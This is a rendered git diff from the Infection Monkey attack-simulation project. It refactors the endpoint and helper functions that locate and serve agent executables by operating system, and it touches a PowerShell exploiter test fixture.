||||
},
|
||||
]
|
||||
AGENTS = {
|
||||
"linux": "monkey-linux-64",
|
||||
"windows": "monkey-windows-64.exe",
|
||||
}
|
||||
|
||||
|
||||
def get_monkey_executable(host_os):
|
||||
for download in MONKEY_DOWNLOADS:
|
||||
if host_os == download.get("type"):
|
||||
logger.info(f"Monkey exec found for os: {host_os}")
|
||||
return download
|
||||
logger.warning(f"No monkey executables could be found for the host os: {host_os}")
|
||||
return None
|
||||
class UnsupportedOSError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class MonkeyDownload(flask_restful.Resource):
|
||||
|
||||
# Used by monkey. can't secure.
|
||||
def get(self, path):
|
||||
return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries"), path)
|
||||
|
||||
# Used by monkey. can't secure.
|
||||
def post(self):
|
||||
host_json = json.loads(request.data)
|
||||
host_os = host_json.get("os")
|
||||
if host_os:
|
||||
result = get_monkey_executable(host_os.get("type"))
|
||||
|
||||
if result:
|
||||
# change resulting from new base path
|
||||
executable_filename = result["filename"]
|
||||
real_path = MonkeyDownload.get_executable_full_path(executable_filename)
|
||||
if os.path.isfile(real_path):
|
||||
result["size"] = os.path.getsize(real_path)
|
||||
return result
|
||||
|
||||
return {}
|
||||
|
||||
@staticmethod
|
||||
def get_executable_full_path(executable_filename):
|
||||
real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", executable_filename)
|
||||
return real_path
|
||||
def get(self, host_os):
|
||||
try:
|
||||
path = get_agent_executable_path(host_os)
|
||||
return send_from_directory(path.parent, path.name)
|
||||
except UnsupportedOSError as ex:
|
||||
logger.error(ex)
|
||||
return make_response({"error": str(ex)}, 404)
|
||||
|
||||
@staticmethod
|
||||
def log_executable_hashes():
|
||||
|
@ -65,16 +36,30 @@ class MonkeyDownload(flask_restful.Resource):
|
|||
Logs all the hashes of the monkey executables for debugging ease (can check what Monkey
|
||||
version you have etc.).
|
||||
"""
|
||||
filenames = set([x["filename"] for x in MONKEY_DOWNLOADS])
|
||||
filenames = set(AGENTS.values())
|
||||
for filename in filenames:
|
||||
filepath = MonkeyDownload.get_executable_full_path(filename)
|
||||
if os.path.isfile(filepath):
|
||||
filepath = get_executable_full_path(filename)
|
||||
if filepath.is_file():
|
||||
with open(filepath, "rb") as monkey_exec_file:
|
||||
file_contents = monkey_exec_file.read()
|
||||
logger.debug(
|
||||
"{} hashes:\nSHA-256 {}".format(
|
||||
filename, hashlib.sha256(file_contents).hexdigest()
|
||||
)
|
||||
)
|
||||
file_sha256_hash = hashlib.sha256(file_contents).hexdigest()
|
||||
logger.debug(f"{filename} SHA-256 hash: {file_sha256_hash}")
|
||||
else:
|
||||
logger.debug("No monkey executable for {}.".format(filepath))
|
||||
logger.debug(f"No monkey executable for {filepath}")
|
||||
|
||||
|
||||
def get_agent_executable_path(host_os: str) -> Path:
|
||||
try:
|
||||
agent_path = get_executable_full_path(AGENTS[host_os])
|
||||
logger.debug(f"Monkey exec found for os: {host_os}, {agent_path}")
|
||||
|
||||
return agent_path
|
||||
except KeyError:
|
||||
logger.warning(f"No monkey executables could be found for the host os: {host_os}")
|
||||
raise UnsupportedOSError(
|
||||
f'No Agents are available for unsupported operating system "{host_os}"'
|
||||
)
|
||||
|
||||
|
||||
def get_executable_full_path(executable_filename: str) -> Path:
|
||||
return Path(MONKEY_ISLAND_ABS_PATH) / "cc" / "binaries" / executable_filename
|
||||
|
|
|
@ -5,8 +5,8 @@ import stat
|
|||
import subprocess
|
||||
from shutil import copyfile
|
||||
|
||||
from monkey_island.cc.resources.monkey_download import get_monkey_executable
|
||||
from monkey_island.cc.server_utils.consts import ISLAND_PORT, MONKEY_ISLAND_ABS_PATH
|
||||
from monkey_island.cc.resources.monkey_download import get_agent_executable_path
|
||||
from monkey_island.cc.server_utils.consts import ISLAND_PORT
|
||||
from monkey_island.cc.services.utils.network_utils import local_ip_addresses
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
@ -25,12 +25,13 @@ class LocalMonkeyRunService:
|
|||
@staticmethod
|
||||
def run_local_monkey():
|
||||
# get the monkey executable suitable to run on the server
|
||||
result = get_monkey_executable(platform.system().lower())
|
||||
if not result:
|
||||
return False, "OS Type not found"
|
||||
try:
|
||||
src_path = get_agent_executable_path(platform.system().lower())
|
||||
except Exception as ex:
|
||||
logger.error(f"Error running agent from island: {ex}")
|
||||
return False, str(ex)
|
||||
|
||||
src_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"])
|
||||
dest_path = os.path.join(LocalMonkeyRunService.DATA_DIR, result["filename"])
|
||||
dest_path = LocalMonkeyRunService.DATA_DIR / src_path.name
|
||||
|
||||
# copy the executable to temp path (don't run the monkey from its current location as it may
|
||||
# delete itself)
|
||||
|
|
|
@ -51,7 +51,8 @@ def powershell_exploiter(monkeypatch):
|
|||
monkeypatch.setattr(powershell, "AuthenticationError", AuthenticationErrorForTests)
|
||||
monkeypatch.setattr(powershell, "is_windows_os", lambda: True)
|
||||
# It's regrettable to mock out a private method on the PowerShellExploiter instance object, but
|
||||
# it's necessary to avoid having to deal with the monkeyfs
|
||||
# it's necessary to avoid having to deal with the monkeyfs. TODO: monkeyfs has been removed, so
|
||||
# fix this.
|
||||
monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None)
|
||||
|
||||
return pe
|
||||
|
|
Loading…
Reference in New Issue